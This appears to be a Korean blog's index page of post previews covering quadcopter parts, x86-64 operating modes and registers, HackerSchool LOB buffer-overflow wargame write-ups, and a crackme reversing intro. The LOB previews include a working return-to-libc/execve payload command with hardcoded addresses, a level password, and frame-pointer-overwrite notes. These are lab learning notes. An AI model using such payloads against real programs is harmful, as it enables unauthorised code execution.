전체 글

전체 글

    [쿼드콥터] 2. 부품구입2

    120달러가 넘으면 관세를 내야하기때문에 두번에 걸쳐 구매했다. 리포배터리 송수신기 역피치 프로펠러 바나나커넥터 XT60 커넥터 전원분배 회로 HMC5883 (지자기센서) MPU6050 (가속도자이로센서) 아두이노 나노 실납 순이다.

    3. 운영모드와 메모리 관리 기법

    리얼모드는 최대 1MB까지 주소공간을 사용하면 세그멘테이션만 지원함.리얼모드에서 세그먼트크기는 64K로 고정이다.세그먼트의 시작 어드레스는 세그먼트 레지스터에서 설정함.세그먼트의 시작 어드레스는 코드나 메모리 접근시 기준 어드레스로 사용됨.페이징을 사용하지 않으므로 비교적 간단함.세그먼트 레지스터의값 + 범용레지스터의 값 으로 동작함 보호모드는 리얼모드와 달리 세그멘테이션과 페이징을 모두 지원함.1. 세그멘테이션보호모드의 세그멘테이션은 리얼모드의 세그멘테이션보다 더 많은 기능을 제공함.세그먼트에 대한 정보를 나타내는 디스크립터를 세그먼트 디스크립터라고 부름.세그먼트의 시작 어드레스와 크기, 권한,타입 등의 정보가 있습니다.세그먼트 레지스터의 기준주소 + 범용 레지스터값 = 선형주소기준주소에 더해질 값은 ..

    2. 운영모드와 레지스터

    운영모드는 크게 16비트모드, 32비트모드, 64비트모드 세 가지로 나눌수있다.숫자가 커질수록 레지스터 개수도 많아진다.OS를 개발하는 과정에서 큰 비중을 차지하는 레지스터는1. 범용 레지스터2. 세그먼트 레지스터3. 컨트롤 레지스터세가지가 되겠다.레지스터란? 레지스터는 프로세스 내부에 있는 작은 공간이며 연산,제어,상태표시,디버깅 등의 목적으로 사용한다. 범용 레지스터는 계산, 메모리 어드레스 지정, 임시저장공간 등의 목적으로 사용한다x86-64 프로세서의 범용 레지스터AX : 산술 연산을 수행할때 누산기로 사용한다BX : 데이터의 어드레스를 지정할때 데이터 포인터로 사용CX : 루프 또는 문자열의 카운터로 사용DX: I/O 관련 어드레스를 지정할때 사용, 산술연산을 수행할때 보조 레지스터로 사용SI ..

    HackerSchool LOB Level 14

    코드를 해석해보자면간단히말해서 execve함수를 사용해서 풀라는 뜻이다.페이로드는 [non 44] [&execve] [non 4] [/bin/sh] [argv0] [nob]./$"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`" 비밀번호는 one step closer 이다

    HackerSchool LOB Level 13

    ※ argc가 2보다 커야함 ※ argv[1][47]이 \xbf가 아니여야함 조건을 해석해보자면 ret에 스택의 주소가 오면 안된다는 조건임을 알수있다.이 문제는 RTL(Return To Libc) 기법을 이용하여 풀어야한다 RTL의 특징은 쉘코드가 없이 Exploit 하는것이다.RTL의 핵심은 RET에 Libc라고 하는 공유 라이브러리 내의 함수를 덮어씌우는 것이다. 시스템 함수의 주소를 알아내기위해 gdb로 bugbear를 복사한파일을 열고 p system으로 주소를 출력한다주소는 0x40058ae0 이다이제 인자로 들어갈 "/bin/sh"의 주소를 알아보자 "/bin/sh"의 주소를 구하는 간단한 파일을 만들어준다. /bin/sh 의 주소는 0x400fbff9 이다 아까 구한 주소들을 이용해 페이로..

    1. 운영모드

    인텔 64비트 호환 프로세서(이하 x86-64 프로세서)에는 크게 다섯 가지 운영 모드가 있다1. 리얼모드2. 보호모드3. IA-32e 모드4. 시스템 관리 모드5. 가상 8086 모드위의 5가지 운영모드는 필수모드와 선택모드로 나뉜다.필수모드: 리얼모드,보호모드,IA-32e모드 선택모드: 시스템관리모드 , 가상8086모드 리얼모드: 프로세서가 어떤 상태또는 모드에 있든 전원이 켜지거나 리셋되면 프로세서는 리얼모드로 진입 BIOS의 여러 기능을 사용가능 BIOS는 디스크 읽기 및 쓰기부터 그래픽모드로 전환하는 기능 등 여러기능을 지원 별도의 디바이스 드라이버를 제작하지 않아도되는 장점이있음 보호모드: IA-32e 모드로 전환하려면 반드시 거쳐야하는 모드 32비트 윈도우나 리눅스가 동작하는 기본모드 멀티태..

    HackerSchool LOB Level 12

    이 문제는 FPO기법을 이해해야하는 문제라서 푸는데 오래 걸렸다.코드를 보면 ※ argc가 2보다 커야함 ※ problem_child 함수에 argv[1]이 인자로 들어간다 ※ problem_child 함수를 보면 버퍼가 40이고 인자값이 stp를 1바이트 침범함 위를 종합해보면 stp를 침범한 1바이트가 핵심인거같다.함수의 에필로그는 LEAVE mov esp, ebp pop ebp // esp를 ebp에 복사하고 ebp를 스택에서 꺼낸다RETpop eip jmp eip // eip를 꺼내고 eip로 점프한다 eip를 pop하면 +4가된다 -> 버퍼가 0에서 4가됨 darkknight.c를 복사해서 printf("0x%x\n",buffer-4); 코드를추가해준다eip가 4이기때문에 버퍼에서 -4로 설정해..

    Avex crackme 1번

    리버싱에 대해 아무것도 모르는 상태이므로 기초적인 Avex crackme부터 시작하도록 하겠다.처음이므로 상세하게 설명하겠다.일단 올리디버거를 다운받는다 올리디버거 상세 설정은 링크로 대신한다.http://t0x1c07.tistory.com/entry/%EC%98%AC%EB%A6%AC%EB%94%94%EB%B2%84%EA%B1%B0OllyDBG-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EA%B8%B0%EB%B3%B8-%EC%84%A4%EC%A0%95 avexcrackme도 다운받는다 실행하면 이런화면이 뜬다 해석해보자면 내가 너의 hdd를 CD-ROM으로 생각하게 만들어라 확인을 누르면 Error가 뜨면서 이것은 CD-ROM이 아니라고 한다 이제 이파일을 올리디버거로 열어보자 열면 이렇게 매..